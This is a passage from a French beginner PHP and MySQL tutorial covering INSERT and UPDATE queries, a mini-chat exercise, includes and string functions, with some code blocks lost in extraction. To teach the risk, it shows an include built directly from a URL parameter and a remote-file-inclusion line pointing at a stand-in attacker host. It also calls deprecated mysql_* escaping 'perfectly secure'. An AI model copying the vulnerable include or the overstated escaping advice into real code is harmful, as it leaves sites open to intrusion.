Pour rajouter une entrée, vous aurez besoin de connaître la requête SQL. En voici une par exemple qui rajoute une
entrée :
Code : SQL
D'abord, vous devez mettre INSERT INTO pour dire que vous allez insérer une entrée.
Vous précisez ensuite le nom de la table (ici "jeux_video"), puis mettez entre parenthèses les noms des champs.
Enfin, et c'est là qu'il ne faut pas se tromper, vous devez écrire VALUES et mettre les valeurs à insérer dans le
même ordre que les champs que vous avez indiqués.
Vous remarquerez que pour le premier champ (ID), je n'ai rien mis entre les apostrophes. C'est voulu : le
champ a la propriété "auto_increment", MySQL mettra donc le numéro d'ID lui-même.
Enfin, si vous le désirez, sachez que vous n'êtes pas obligés de mettre les noms des champs d'abord, cette requête
marche tout aussi bien (mais elle est moins claire) :
Code : SQL
Du moment que vous respectez le bon ordre des champs, tout ira bien
Code : PHP
<?php
mysql_connect("localhost", "mateo21", "mot_de_passe");
mysql_select_db("coursphp");
mysql_close();
?>
Que fait ce code ? Il ajoute une entrée dans la BDD pour le jeu "Battlefield 1942", appartenant à "Patrick", qui
fonctionne sur "PC", qui coûte "45" euros etc...
Entendons-nous bien : ce code n'affiche rien. Il ajoute juste des données dans la BDD. Ce n'est que si vous faites un
SELECT (comme nous l'avons vu dans le précédent chapitre) que nous aurons quelque chose d'intéressant à afficher au
visiteur.
Vous verrez dans la pratique qu'on combine les deux : on écrit et on lit dans la BDD.
No problemo amigo
Avec une petite requête SQL on peut arranger ça. En effet, en utilisant UPDATE vous allez pouvoir modifier l'entrée qui
pose problème :
Code : SQL
Comment ça marche ?
Tout d'abord, le mot-clé UPDATE permet de dire qu'on va modifier une entrée.
Ensuite, le nom de la table (jeux_video).
Le mot-clé SET, qui sépare le nom de la table du reste.
Et on met ensuite les champs qu'il faut modifier, séparés par des virgules. Ici, on modifie le champ "prix", on lui
affecte la valeur "10" (prix='10'), et de même pour le champ nbre_joueurs_max.Les autres champs ne sont pas
modifiés.
Enfin, le mot-clé WHERE est tout simplement indispensable. Ca nous permet de dire à MySQL quelle entrée il
doit modifier. On se base très souvent sur le champ ID pour indiquer quelle entrée est à modifier. Ici, on
suppose que Battlefield a été enregistré sous l'ID n°51.
Pour connaître l'ID de Battlefield, il faudrait aller sous PhpMyAdmin et regarder quel n° d'ID MySQL lui a
donné.
Et si vous voulez, vous pouvez vous baser sur le nom du jeu au lieu de l'ID (pour le WHERE) :
UPDATE jeux_video SET prix='10', nbre_joueurs_max='32' WHERE nom='Battlefield 1942'
Dernière minute ! Florent vient de racheter tous les jeux de Michel ! Il va falloir modifier ça tout de suite !
Dites-vous bien une chose : le langage SQL est un langage de feignasse Il n'est pas question de passer des heures à
modifier toute la table pour ça !
En clair, en réfléchissant environ 0,5 seconde vous allez trouver tous seuls la requête SQL qui permet de faire ce qu'on
cherche.
C'est bon vous avez trouvé ? Allez, je vous donne la réponse, c'est vraiment facile :
Code : SQL
Traduction : Dans la table jeux_video, modifier toutes les entrées dont le champ possesseur est égal à Michel, et le
Code : SQL
Q.C.M.
Quel(s) mot(s)-clé permettent de dire en SQL qu'on veut ajouter une entrée ?
INSERT INTO
INSERT
INSERT TABLE
L'absence de WHERE
L'étoile
Les deux
Je m'appelle Florent et je veux changer les commentaires de tous mes jeux qui coûtent moins de 10 euros. Je
veux mettre à la place : "En promo, pas cher mon fils"
Comment je peux faire ça en une requête ?
UPDATE TABLE jeux_video SET prix < 10 WHERE commentaires = 'En promo, pas cher mon fils'
UPDATE jeux_video SET prix='En promo, pas cher mon fils' WHERE prix < 10 OR possesseur='Florent'
UPDATE jeux_video SET commentaires='En promo, pas cher mon fils' WHERE prix < 10 AND possesseur='Florent'
Pourquoi on ne précise pas la valeur du champ ID quand on ajoute une entrée avec INSERT INTO ?
Ca déclenche un détonateur situé dans votre microprocesseur qui provoque de lourds dégâts à votre matériel
informatique.
Correction !
Mais avant de clôturer la partie II, je vous ai concocté un petit TP qui, je l'espère, devrait vous plaire
TP : un Mini-Chat
Plus d'informations
Voilà un TP qui, je l'espère, va vous permettre de souffler un peu. Il faut dire qu'on a pas mal enchaîné de choses
totalement nouvelles dans les chapitres précédents (Base de données, extraction des informations contenues dans une
table etc...).
Ici, je vous propose de passer à l'application pratique de ce que vous venez d'apprendre. Vous allez voir que vous savez
maintenant faire des scripts très intéressants : vous avez le niveau pour réaliser un Mini-Chat (ce qu'on va faire), un
livre d'or et même un script de news !
Ces scripts sont en fait assez similaires, mais le plus simple d'entre eux est le Mini-Chat. Ne vous inquiétez pas, le TP
pour le système de news ne va pas tarder (je sais que vous mourez d'envie de vous y attaquer, mais vous n'êtes pas
tout à fait prêts ;))
Et puis, ne vous y trompez pas : un Mini-Chat sur votre site ça peut s'avérer trrrès intéressant . Les plus grands
sites en ont (ils l'appellent parfois "Shoutbox" ou encore "Tribune libre"). De plus, ça ajoutera énormément de
dynamisme à votre site web.
Réalisation du Mini-Chat
Etape 1 : prérequis
Vous pourrez suivre ce TP sans problème si vous avez lu tous les chapitres précédents. Plus précisément, on va utiliser
les notions suivantes :
Vous remarquerez que, dans la plupart des TP, la transmission de variables par formulaire est très importante. Pour
l'instant, on a rapidement vu comment ça marchait dans le chapitre sur les variables. Mais, dans la partie III, nous
étudierons cela plus en détail car il y a beaucoup de choses intéressantes à savoir
Avant de commencer à rédiger comme des bourrins notre script PHP, qu'est-ce que je vous avais dit qu'il fallait
absolument faire ?
Un brouillon !
Eh oui, votre script ne va pas s'écrire tout seul comme par magie , alors il va falloir réfléchir un petit peu avant
de commencer.
C'est un script très simple, donc vous ne devriez pas avoir de problèmes pour comprendre.
Ce sera quelque chose de basique pour commencer, mais rien ne vous empêchera de l'améliorer à votre sauce
On souhaite avoir, sur la même page, deux zones de texte en haut : une pour écrire votre pseudo, une autre pour
écrire votre petit message. Ensuite, un bouton "Envoyer" permettra d'envoyer les données à MySQL, pour qu'il les
enregistre dans une table de la Base de Données.
En-dessous, le script devra afficher les 10 derniers messages qui ont été enregistrés (parce que si vous les affichez tous
et que vous avez 1000 messages ça risque d'être un peu long !) en allant du plus récent au plus ancien.
C'est un peu flou ? OK, voilà à quoi doit ressembler votre page PhP une fois terminée :
Bon, comme à chaque fois que l'on se servira d'une base de données, on va commencer par étudier la forme de la table
(quels seront les champs).
Voici un petit tableau que j'ai mis 1 minute à pondre sur une feuille de papier brouillon :
ID pseudo message
1 Tom Il fait beau aujourd'hui vous trouvez pas ?
2 John Ouais, ça faisait un moment qu'on n'avait pas vu la lumière du soleil !
3 Patrice Ca vous tente d'aller à la plage aujourd'hui ? Y'a de super vagues !
4 Tom Cool bonne idée ! J'amène ma planche !
5 John Comptez sur moi !
Voilà : on a un champ ID de type INT (comme toujours) qui nous permettra de savoir dans quel ordre ont été postés les
messages. Il faudra le mettre en auto_increment pour que les numéros s'écrivent tout seuls, et ne pas oublier de
sélectionner "Primaire" (ça dit à MySQL que c'est le champ qui numérote les entrées)
Pour les champs "pseudo" et "message", vous utiliserez le type VARCHAR (pensez à indiquer une taille limite dans le
champ texte d'à côté : 255 caractères, c'est suffisant, on n'est pas là pour écrire un roman !).
Commencez donc par créer cette table dans votre base de données. Appelez-la comme vous voulez, moi j'ai choisi
"minichat".
Le formulaire doit renvoyer sur la même page. Si votre page s'appelle "minichat.php", alors votre balise de formulaire
sera :
<form action="minichat.php" method="post">
Ca va donc recharger la même page ! Oui, mais cette fois il se passera quelque chose de différent ! En effet, 2
variables seront créées (par exemple $_POST['pseudo'] et $_POST['message']), et vous allez pouvoir vérifier si elle
contiennent quelque chose. SI elles contiennent quelque chose, ALORS vous enregistrez les données. Sinon, bah vous ne
faites rien (je ne veux pas voir de else dans votre code !).
L'utilisateur a posté un message, $_POST['pseudo'] et $_POST['message'] ne sont pas vides. On enregistre ces
informations, puis on affiche les 2 zones de texte et les 10 derniers messages.
L'utilisateur n'a pas posté de message, $_POST['pseudo'] et $_POST['message'] sont vides. Alors on ne fait rien,
on se contente d'afficher les 2 zones de texte et les 10 derniers messages.
Vous aurez besoin de deux conditions pour vérifier si vos variables ne sont pas vides :
1) Utilisez un isset pour vérifier si les variables existent (comme dans le premier TP).
2) Puis, si les variables existent, vérifiez si elles ne sont pas vides (NULL).
Si ces 2 conditions sont remplies, alors vous pouvez envoyer le message dans la base de données sans crainte.
Oui, c'est très important. Il ne s'agit pas de quelque chose de compliqué, pourtant beaucoup de monde l'oublie et ça
peut poser problème sur certains sites.
En effet, si le visiteur poste dans son message du code HTML, celui-ci sera enregistré dans la base de données. Lorsque
que quelqu'un affichera son message, le code HTML sera lu !
OK, si le visiteur a posté une balise inoffensive du style <em>, on ne risque rien. Mais il pourrait très bien insérer un
code javascript qui affiche une boîte de dialogue (très gênant) ou même qui pourrait scanner vos cookies et récupérer
des informations confidentielles !
Code : PHP
Ceci nous permet donc d'éviter que le visiteur puisse poster du HTML ou (pire) du Javascript.
Pour être totalement sécurisé ça ne suffit pas. Je ne souhaite pas rentrer dans le détail pour le moment (parce que
c'est limite un cours de hacking qu'il faudrait après ) mais il faut aussi se protéger des injections sql, c'est-à-dire
des gens qui, par une technique précise, pourraient essayer d'introduire du code SQL dans le message. C'est
particulièrement dangereux.
Pour éviter ça, là encore il suffit d'appliquer une fonction. Le code parfaitement sécurisé à utiliser sera donc :
Code : PHP
$message = mysql_real_escape_string(htmlspecialchars($_POST['message']));
$pseudo = mysql_real_escape_string(htmlspecialchars($_POST['pseudo']));
C'est maintenant à votre tour de réfléchir. Avec les éléments que je vous ai donnés, et avec ce que vous avez appris
dans les chapitres précédents, vous devez être capables de réaliser le Mini-Chat !
Si vous avez un peu de mal, et si votre script ne marche pas, ne le supprimez pas dans un moment de rage (il ne faut
jamais s'énerver ). Au contraire, si vraiment vous n'y arrivez pas, mettez votre code de côté et comparez avec la
correction.
Ce sera très enrichissant pour vous, vous verrez !
Etape 4 : correction
Code : PHP
<?php
if (isset($_POST['pseudo']) AND isset($_POST['message'])) // Si les variables existent
{
if ($_POST['pseudo'] != NULL AND $_POST['message'] != NULL) // Si on a quelque chose à
enregistrer
{
// D'abord, on se connecte à MySQL
mysql_connect("localhost", "sdz", "mot_de_passe");
mysql_select_db("coursphp");
// On se déconnecte de MySQL
mysql_close();
}
}
<p>
Pseudo : <input type="text" name="pseudo" /><br />
Message : <input type="text" name="message" /><br />
</form>
<?php
Essayer !
Bien entendu, ce script ne fonctionnera chez vous que si vous avez créé une table "minichat" comme je vous l'ai montré
plus haut.
Bon, comment marche ce script ?
1. Tout d'abord, on fait un isset sur les deux variables $_POST['pseudo'] et $_POST['message'] pour vérifier si les
variables existent. Si elles n'existent pas, on ne va pas plus loin. Si elles existent, on procède à un deuxième
test...
2. La seconde condition vérifie si les variables $_POST['pseudo'] et $_POST['message'] contiennent quelque chose.
En effet, il serait ennuyeux qu'un visiteur envoie un message vide ou qu'il ne donne pas son pseudo. Si c'est le
cas, alors on va enregistrer les données (en n'oubliant pas d'utiliser mysql_real_escape_string et
htmlspecialchars pour les raisons de sécurité que je vous ai expliquées plus tôt).
3. Ensuite, que l'on ait dû enregistrer quelque chose ou pas, on écrit le code HTML du formulaire. C'est tout bête,
vous avez déjà vu ça dans le chapitre sur les variables et même dans le TP de la protection par mot de passe.
4. Enfin, on affiche les 10 derniers messages à l'aide de la requête SQL suivante :
SELECT * FROM minichat ORDER BY ID DESC LIMIT 0,10
Cela signifie : "Sélectionne tous les champs dans minichat (SELECT * FROM minichat), ordonne les entrées dans
l'ordre décroissant (ORDER BY ID DESC), et n'en prends que 10 (LIMIT 0,10)"
La première fois que vous affichez la page, $_POST['pseudo'] et $_POST['message'] n'existent pas, donc PHP
n'exécutera pas ce qui se trouve dans la condition du isset.
Si vous vous amusez à poster un message, il sera d'abord enregistré dans la base de données. Ensuite, on affiche les
messages. Comme le vôtre a été enregistré juste avant, c'est normal qu'il apparaisse de suite !
Oh, mais il serait dommage d'en rester là... Le script de Mini Chat que je vous ai fait faire est certes marrant, mais je
suis sûr que vous aimeriez l'améliorer !
Cependant, je ne peux que vous donner des idées. Je ne peux pas vous proposer de corrections pour chacune de ces
idées, ça serait beaucoup trop long !
Mais ne vous en faites pas : si je vous propose de faire des améliorations, c'est que vous en êtes capables
Et puis, n'oubliez pas qu'il y a un forum sur le site : si jamais vous séchez un peu, n'hésitez pas à aller y demander de
l'aide !
Retenir le pseudo. En effet, le pseudo qu'a tapé le visiteur se trouve dans la variable $_POST['pseudo'].Comme
vous le savez probablement, il est possible en HTML de pré-remplir un champ avec l'attribut "value". Par
exemple :
Code : HTML
comptez le nombre total de messages dans la table. S'il y en a par exemple plus de 1000, vous supprimez le
plus vieux, histoire de faire de la place pour pas trop encombrer votre base de données (à moins que vous ne
préfériez garder un historique complet ;))
Il est probable que peu d'entre vous aient trouvé de suite le code "exact" que j'attendais. Mais si vous n'étiez pas trop
loin, c'est tout aussi bon.
Et même si vous n'avez pas réussi, passez un moment à essayer de comprendre le code, c'est super important. Il faut
que vous soyez capables de le refaire sans aide !
Maintenant, si vous voulez utiliser ce script PHP sur votre site web, aucun problème ! Mais je vous conseille d'y
apporter quelques améliorations : au niveau du graphisme d'abord (parce que c'est rudement moche ce que j'ai fait),
mais aussi au niveau du code PHP (vous pourriez ajouter un champ qui enregistre l'heure du message !)
Les includes
Plus d'informations
On commence la partie III par un chapitre Ô combien important en PHP : nous allons parler d'includes. Derrière ce nom
barbare, vous allez le voir, se cache une des fonctions PHP les plus utilisées.
Je vous le garantis, après lecture de ce chapitre votre site va vraiment changer de visage !
Sommaire du chapitre :
La fonction include
Bien utiliser les includes
Q.C.M.
La fonction include
Nous n'allons parler que d'une seule fonction : include. Elle est très simple d'emploi et fréquemment utilisée car très
puissante.
Elle permet d'inclure le contenu d'une page PHP dans une autre page PHP.
Et c'est très utile ! Concrètement, supposons que sur votre site web il y ait un menu à gauche. Ce menu est affiché sur
toutes les pages de votre site.
Jusqu'ici, vous deviez copier-coller ce menu dans toutes les pages, et si vous deviez modifier le menu eh bien il fallait
modifier toutes les pages !
Grâce à l'include, vous dites à PHP sur chacune de vos pages : "Mets ici le contenu de la page menu.php". PHP va alors
"prendre" le contenu de la page menu.php et le mettre là où vous lui avez dit.
Ainsi, si vous voulez modifier votre menu, vous modifiez juste menu.php et toutes les pages de votre site web sont
automatiquement mises à jour ! C'est vraiment quelque chose de génial, et pour tout vous dire c'est en découvrant ça
que j'ai décidé de me mettre au PHP
Code : PHP
<?php
include("menu.php");
?>
C'est un code tout simple. PHP voit l'instruction include, il va aller chercher la page menu.php et la mettre à la place
de cette instruction.
Un exemple concret ? N'allez pas chercher bien loin, regardez ce site web. Oui oui, le Site du Zér0 utilise beaucoup les
includes. Voici le sommaire du cours de PHP (page index.php) :
La page index.php contient 2 includes : haut.php (pour le logo, la pub...) et menu.php (le menu du Site du Zér0).
Vient ensuite le contenu proprement dit de index.php, c'est-à-dire le sommaire du cours de PHP. Le code PHP de
index.php ressemble donc à cela :
Code : PHP
<div id="haut">
<?php
// On inclut le haut de la page
include("haut.php");
?>
</div>
<div id="menu">
<?php
// Puis on inclut le menu
include("menu.php");
?>
</div>
<?php
// Maintenant on met le code de notre page (ce qu'on veut)
// Ce code peut bien entendu contenir du PHP comme du HTML
?>
<h1>
<img src="images/elephpant.gif" alt="ElePHPant" /> Un site dynamique avec PHP ! <img
</h1>
<div class="question">
Mais pourquoi tous les sites web se mettent au PHP ? Que peut-on faire avec ?<br
Et pis, c'est quoi PHP ???
</div>
<p>Hola hola, pas de panique amis Zér0s, ce tutoriel est là pour tout vous expliquer :o
On a en premier les 2 includes (haut.php et menu.php), et après on a mis le code de notre page. Toutes les pages du
site fonctionnent comme ça !
Vous remarquerez que j'utilise des calques (balise <div>) pour la présentation, mais vous faites comme vous voulez.
Bien entendu, pour placer ces calques dans la page (menu à gauche, en-tête en haut etc...) j'utilise une feuille de
style CSS.
Si vous ne savez pas faire une mise en page (un design) de votre site web, je vous recommande d'aller lire le tutoriel
(x)HTML disponible sur ce site qui vous explique comment vous servir des balises <div> et comment les positionner
pour construire votre design.
Au fait, on peut sans problème mettre du code PHP dans les pages haut.php et menu.php
On va mettre dans titre.php ce qu'on veut (HTML, PHP etc...). Pour ma part je fais simple, j'écris juste le nom du site
:
Code : HTML
La page test.php est une page d'exemple de notre site. Toutes les pages du site ressembleront à celle-ci :
Code : PHP
<p>
Ceci est une page d'exemple de notre site web.<br />
Toutes les pages du site ont cet include en haut, pour afficher le titre du site sur toutes
Si le site change de nom, il nous suffira de modifier uniquement "titre.php", et toutes les
</p>
Essayer !
Faites pareil chez vous, vous allez voir que c'est très facile à faire !
Ce schéma, bien que très moche car fait par moi, illustre bien ce qu'il se passe. Lorsque l'internaute demande à voir
test.php, l'instruction include est remplacée par le contenu de titre.php.
Ce qui fait qu'à la fin, la page que l'internaute chargera contiendra ce code :
Code : HTML
<p>
Ceci est une page d'exemple de notre site web.<br />
Toutes les pages du site ont cet include en haut, pour afficher le titre du site sur toutes
Si le site change de nom, il nous suffira de modifier uniquement "titre.php", et toutes les
</p>
Voilà, en théorie vous savez tout ce qu'il y a à savoir mais... je ne vais pas vous abandonner là, je ne suis pas comme
ça
En effet, nous allons voir dans une seconde partie de ce chapitre comment mettre en place concrètement des includes
sur votre site web.
On commence par ma préférée : la méthode dite "brutale" (bien entendu ce n'est pas un nom officiel, c'est moi qui
l'appelle comme ça )
Avantage : vous n'avez aucun risque de vous faire hacker avec cette méthode (c'est pour ça que je la préfère).
Défaut : si vous voulez changer complètement le design de votre page web, il se peut (je dis bien "il se peut")
que vous deviez tout refaire si vous avez utilisé la méthode brutale. Par ailleurs, elle fait un peu moins "pro",
mais elle est tellement plus sûre...
Ne tournons pas autour du pot, cette méthode est simple : elle consiste à copier-coller l'instruction include sur toutes
les pages web de votre site :
Code : PHP
<p>
Ceci est une page X de votre site.<br />
Tout le code de vos pages ressemble à ceci : il y a un include en haut, et un include en ba
</p>
Dans les pages haut.php et bas.php, vous mettez ce que vous voulez. Par exemple, dans haut.php je mettrais le titre
du site et les premiers tags html : <html>, <head>, <title> etc... Ce qu'on trouve en haut du code d'une page web
quoi...
Dans bas.php, vous inscrivez par exemple un copyright, le nom du webmaster, puis vous fermez les balises </body> et
</html>
Avantage : on peut facilement changer toute l'apparence de votre site sans problème. Certains trouveront aussi
peut-être ce code plus "séduisant" (si toutefois il est possible de trouver un code séduisant )
Défaut : si vous ne faites pas très attention au code que vous écrivez, votre site web sera vulnérable et il sera
assez facile de récupérer votre mot de passe MySQL par exemple...
A noter que cette méthode est utilisée par un bon nombre de sites web, mais encore une fois je ne vous la conseille
pas trop.
Le fonctionnement est ici complètement l'inverse : au lieu d'inclure l'en-tête de vos pages, les menus etc... Vous créez
une page qui contient tout sauf le corps de votre page : vous mettez donc vos balises <html>, <head>, <title>, vos
menus, votre copyright, puis vous fermez les balises </body> et </html>.
Et là, vous allez inclure la page que vous souhaitez afficher. Par exemple, si vous voulez inclure la page minichat.php,
vous ferez comme ceci :
Code : PHP
</body>
</html>
Et si je veux inclure une autre page, je fais comment ? Je refais une page comme celle-là et j'inclus mon autre
page cette fois ?
L'astuce utilisée ici, c'est que l'on va recevoir une variable avec l'url. Vous vous souvenez de index.php?langue=fr&
truc=bidule n'est-ce pas ? Eh bien, dans toutes les pages du site, on va transmettre une information qui contiendra le
nom de la page à inclure, par exemple :
index.php?page=minichat
Code : PHP
<?php
$page = $_GET['page'];
include("$page.php");
?>
</body>
</html>
Oui, je crois que des explications s'imposent... Regardez en haut de cette page web, vous pouvez modifier facilement
l'url, donc modifier facilement la page qui sera incluse !!! Et vu le code PHP qui a été utilisé, on peut très facilement
inclure une page située sur un autre site ! Du coup, en modifiant juste l'url de la page, PHP va exécuter cette
instruction :
<?php include("http://www.hacker.com/pagespeciale.php"); ?>
Qu'est-ce qu'on risque ? C'est simple, je n'ai qu'à modifier l'url pour mettre l'adresse d'un fichier PHP sur un FTP à moi,
et c'est VOTRE serveur qui exécutera le code de ma page (pagespeciale.php).
Et alors ?
Eh bien, je n'ai qu'à dire à PHP : "Donne-moi le mot de passe de ce site"
Et hop, comme ça je peux accéder à un FTP qui ne m'appartient pas, modifier tous les fichiers que je veux, faire un
bordel monstre... Que de joyeusetés illégales qui n'ont aucun intérêt, mais ça amuse certains abrutis (et je pèse mes
mots) qui veulent montrer ainsi qu'ils sont "les plus forts". Hum, je m'emporte là
Bien entendu, on ne peut pas dire à PHP de sortir tous les mots de passe du site comme ça, c'est un peu plus
compliqué. Mais, réveillez-vous : vous êtes ici pour apprendre le PHP, pas pour apprendre comment hacker un site web
hein ?
Moi, tout ce qui m'intéresse ici, c'est de vous sensibiliser au fait que ce que vous écrivez en PHP peut mettre en danger
la sécurité de votre site. Vous venez de le voir sur un exemple concret : je viens de vous faire, sans que vous vous en
rendiez compte, une ouverture aux problèmes de sécurité du PHP. Ce sont des problèmes qui ne vous préoccupent pas
encore trop pour le moment, mais quand vous serez bons (et vous n'allez pas tarder à l'être, croyez-moi ), vous
verrez que vous ferez très attention à la sécurité sur votre site.
Pour le moment, je vous rassure, on n'en est pas encore là, alors vous pouvez continuer à lire le tuto PHP
tranquillement. Vous apprendrez tout cela petit à petit
Avant de nous quitter, voyons une des solutions possibles pour résoudre le problème de sécurité (il y en a plusieurs) :
Code : PHP
<?php
if ($_GET['page'] == "minichat")
{
include("minichat.php");
}
if ($_GET['page'] == "news")
{
include("news.php");
}
if ($_GET['page'] == "forum")
{
include("forum.php");
}
?>
</body>
</html>
Si un hacker essaie de changer l'url, aucun des if ne sera valable donc rien ne sera inclus. Ouf !
Ca implique de faire autant de if qu'il n'y a de pages sur votre site, c'est pas super pratique... Voilà pourquoi je préfère
(et vous conseille d'utiliser) la première méthode !
Q.C.M.
Quel instruction permet d'inclure une page en PHP ? (la réponse est dans le titre de la page !)
include
insert
inclure
Un par page
Pas de limitation
Il est possible que PHP inclue des pages dont je ne suis pas l'auteur
Un include prend beaucoup de ressources mémoire pour PHP, et il ne faut pas dépasser cette limite
Un include de la même page provoque un bug PHP qui affiche tous les mots de passe du site
Correction !
Plus d'informations
Vous avez appris à manipuler des variables dès la partie I. Depuis, vous vous êtes sûrement rendus compte que vous
avez besoin de variables dans la totalité de vos scripts PHP.
Le but de ce chapitre est de vous apprendre quelques "techniques" vous permettant d'encore mieux les manipuler :
1. Nous verrons dans un premier temps la concaténation : c'est juste une bonne habitude à prendre qui rendra
votre code plus propre.
2. Nous verrons ensuite une série de fonctions toutes prêtes en PHP permettant de travailler sur des variables. Ce
sont des outils très pratiques (et faciles à utiliser) dont vous ne pourrez bientôt plus vous passer
3. Enfin, pour terminer le chapitre en beauté, je vais vous apprendre à faire un truc très tordu : des variables
variables !
La concaténation
Des outils très pratiques
Les variables variables
Q.C.M.
La concaténation
Concaténation.
Derrière ce mot barbare qui semble réservé aux gourous de l'informatique se cache en fait... un point ! Oui oui, vous
avez bien entendu, un misérable petit point comme celui-ci .
Voyons voir un exemple concret. Regardez-moi ce code, digne des premiers chapitres de ce cours :
Code : PHP
<?php
$nom = "Mateo21";
echo "Salut $nom, comment ça va ?";
?>
Eh bien, laissez-moi vous en apprendre une bien bonne. Le code ci-dessous produira exactement le même résultat :
Code : PHP
<?php
$nom = 'Mateo21';
echo 'Salut ' . $nom . ', comment ça va ?';
?>
Essayer !
Et ça, c'est ce qu'on appelle une concaténation. Vous avez remarqué le point ? C'est ce qui permet de faire le lien entre
votre variable et le reste de votre texte.
Autre chose qui a dû vous surprendre : j'utilise désormais des apostrophes à la place des guillemets pour délimiter du
texte. On peut toujours utiliser des guillemets, mais avec des concaténations les apostrophes c'est plus propre.
A partir de cet instant, nous allons utiliser uniquement la concaténation. Nous allons utiliser la concaténation et des
apostrophes pratiquement tout le temps.
Mais... mais... Tu nous prends pour des abrutis ? Tu nous as appris à faire différemment avant, et maintenant
tu veux qu'on utilise ta concaténation et tes apostrophes ?
Et pis, je vois pas ce que ça a de si génial la concaténation moi...
Désormais, vous verrez que j'utilise le plus souvent des apostrophes à la place des guillemets. Je vous invite à
faire de même, nous allons voir que ça a quelques avantages.
La concaténation
Elle permet de faire plus de choses. Par exemple, comment mélanger deux variables ? Avec une concaténation !
Code : PHP
<?php
$prenom = 'Jean ';
$nom = 'Dupont';
Ca, vous verrez que c'est très pratique. En plus, c'est facile à faire et à comprendre n'est-ce pas ? On dit à PHP :
On peut aussi faire une concaténation sur une même variable. Tordu, mais pratique là encore :
Code : PHP
<?php
$phrase = 'Je suis ';
$phrase = $phrase . 'un Zér0';
?>
Pourquoi faire une concaténation sur une même variable me direz-vous ? Eh bien, parfois vous avez besoin de mettre
beaucoup de texte dans une variable. Plutôt que de tout écrire sur une même ligne, vous passez à la ligne suivante
(comme j'ai fait) et vous utilisez une concaténation pour associer le contenu de la variable avec la suite de la phrase.
Astuce ! Lorsque vous faites une concaténation sur une même variable, vous pouvez aussi écrire $phrase .= 'un
Zér0';
C'est un raccourci qui vous évite à avoir à écrire $phrase 2 fois sur une même ligne.
Les apostrophes
Concernant les apostrophes (que j'utiliserai désormais à la place des guillemets), j'imagine que ça doit vous perturber
un petit peu. Voici donc quelques points à savoir à propos de ces apostrophes, car je veux que vous compreniez
pourquoi je préfère les utiliser :
Premier point, le plus important : si une variable est entre apostrophes, on n'affiche pas son contenu
contrairement aux guillemets.
C'est-à-dire que si on a une variable $var = 'Manger' :
echo "$var"; affichera Manger
echo '$var'; affichera $var
Maintenant qu'on a la concaténation, ça n'est plus un problème. On n'écrira plus jamais de variables entre
apostrophes, donc on ne risque pas de voir $var s'afficher.
Pour afficher le contenu de $var on écrira donc : echo 'Texte' . $var . 'Suite du texte';
Si vous utilisez des apostrophes, vous n'aurez plus à taper d'antislash \ devant vos guillemets. C'est très utile
car en HTML on doit écrire beaucoup de guillemets, ça nous évite d'écrire des tonnes d'antislashs. Par exemple,
sur ce code on s'est évité 4 antislashs :
Par contre, vous vous demandez comment on va insérer des apostrophes maintenant ? C'est le revers de la
médaille, il faudra cette fois mettre des antislashs devant les apostrophes :
Mais bon, vu qu'en pratique on est plus souvent amenés à utiliser du HTML avec des guillemets que de longs
textes littéraires avec plein d'apostrophes, c'est plus avantageux de se servir des apostrophes pour délimiter
son texte.
Maintenant, nous allons voir une série de fonctions toutes prêtes en PHP qui travaillent sur des chaînes de caractères.
Une chaîne de caractères, c'est tout simplement une variable qui contient du texte. En anglais on dit string
Par exemple : "Ceci est une chaîne de caractères".
Les fonctions que vous allez voir sont toutes très simples à utiliser, encore faut-il les connaître quand on en a besoin
Je vais vous lister les plus utiles et vous expliquer rapidement leur fonctionnement. Pour connaître toutes les fonctions
travaillant sur des chaînes de caractères, n'hésitez pas à consulter le manuel PHP (un peu austère certes, mais
terriblement efficace !)
addslashes
Cette fonction ajoute des anti-slashs \ dans votre chaîne. Pourquoi faire ? Pour éviter d'avoir des bugs si votre chaîne
contient des guillemets ou des apostrophes. Vous n'en voyez peut-être pas l'utilité maintenant, mais retenez bien que
cette fonction existe car vous en aurez forcément besoin plus tard.
On l'utilise comme ceci :
Code : PHP
<?php
$nouvelle_variable = addslashes($ancienne_variable);
?>
Par exemple, on a cette chaîne : Elvis Presley était le "King", y'a aucun doute !
Après passage à addslashes, ça deviendra : Elvis Presley était le \"King\", y\'a aucun doute !
Vous voyez, ça ajoute les anti-slashs juste devant les apostrophes et les guillemets !
stripslashes
Bah là, je vais pas faire long : cette fonction, c'est exactement l'inverse de addslashes. Ca enlève les anti-slashs de
votre chaîne.
Code : PHP
<?php
$nouvelle_variable = stripslashes($ancienne_variable);
?>
htmlspecialchars
Code : PHP
<?php
$variable_html = '<em>Ceci est une variable qui contient du HTML</em>';
$variable_sans_html = htmlspecialchars($variable_html);
Essayer !
Il existe d'autres fonctions similaires qui peuvent vous être utiles : htmlspecialchars bloque uniquement les
caractères les plus utilisés en HTML (< > & " '), tandis que strip_tags supprime carrément toutes les balises HTML .
nl2br
Code : PHP
<?php
$ma_variable = 'Ceci est la première ligne.
Ceci est la seconde ligne.
Ceci est la troisième ligne.
Bon on arrête là...';
$ma_variable = nl2br($ma_variable);
echo $ma_variable;
?>
Essayer !
Hé ho ! Une minute ! Je vois pas ce qu'il fait de si extraordinaire ton code moi ?!
Code : PHP
<?php
$ma_variable = 'Ceci est la première ligne.
Ceci est la seconde ligne.
Ceci est la troisième ligne.
Bon on arrête là...';
echo $ma_variable;
?>
Essayer !
Comme vous pouvez le voir, sans nl2br les retours à la ligne ne se font pas tous seuls ! Eh oui c'est pas la faute à PHP,
c'est le langage HTML qui est fait ainsi.
strlen
Cette fonction retourne la longueur d'une chaîne de caractères, c'est-à-dire le nombre de lettres et chiffres qu'il y a
(espaces compris). Exemple :
Code : PHP
<?php
$phrase = 'Bonjour les Zér0s ! Je suis une phrase !';
$longueur = strlen($phrase);
echo 'La phrase ci-dessous comporte ' . $longueur . ' caractères :<br
/>' . $phrase;
?>
Essayer !
Méfiez-vous, il se peut que le nombre de caractères soit parfois inexact dû à un bug de PHP dans la gestion des
encodages de caractères. Cela sera corrigé dans les prochaines versions de PHP.
str_replace
Code : PHP
<?php
$ma_variable = str_replace('b', 'p', 'bim bam boum');
echo $ma_variable;
?>
Essayer !
1. La chaîne qu'on recherche. Ici, on recherche les "b" (on aurait pu rechercher un mot aussi).
2. La chaîne qu'on veut mettre à la place. Ici, on met des "p" à la place des "b".
3. La chaîne dans laquelle on doit faire la recherche.
str_shuffle
Code : PHP
<?php
$chaine = 'Cette chaîne va être mélangée !';
$chaine = str_shuffle($chaine);
echo $chaine;
?>
Essayer !
strtolower
Code : PHP
<?php
$chaine = 'COMMENT CA JE CRIE TROP FORT ???';
$chaine = strtolower($chaine);
echo $chaine;
?>
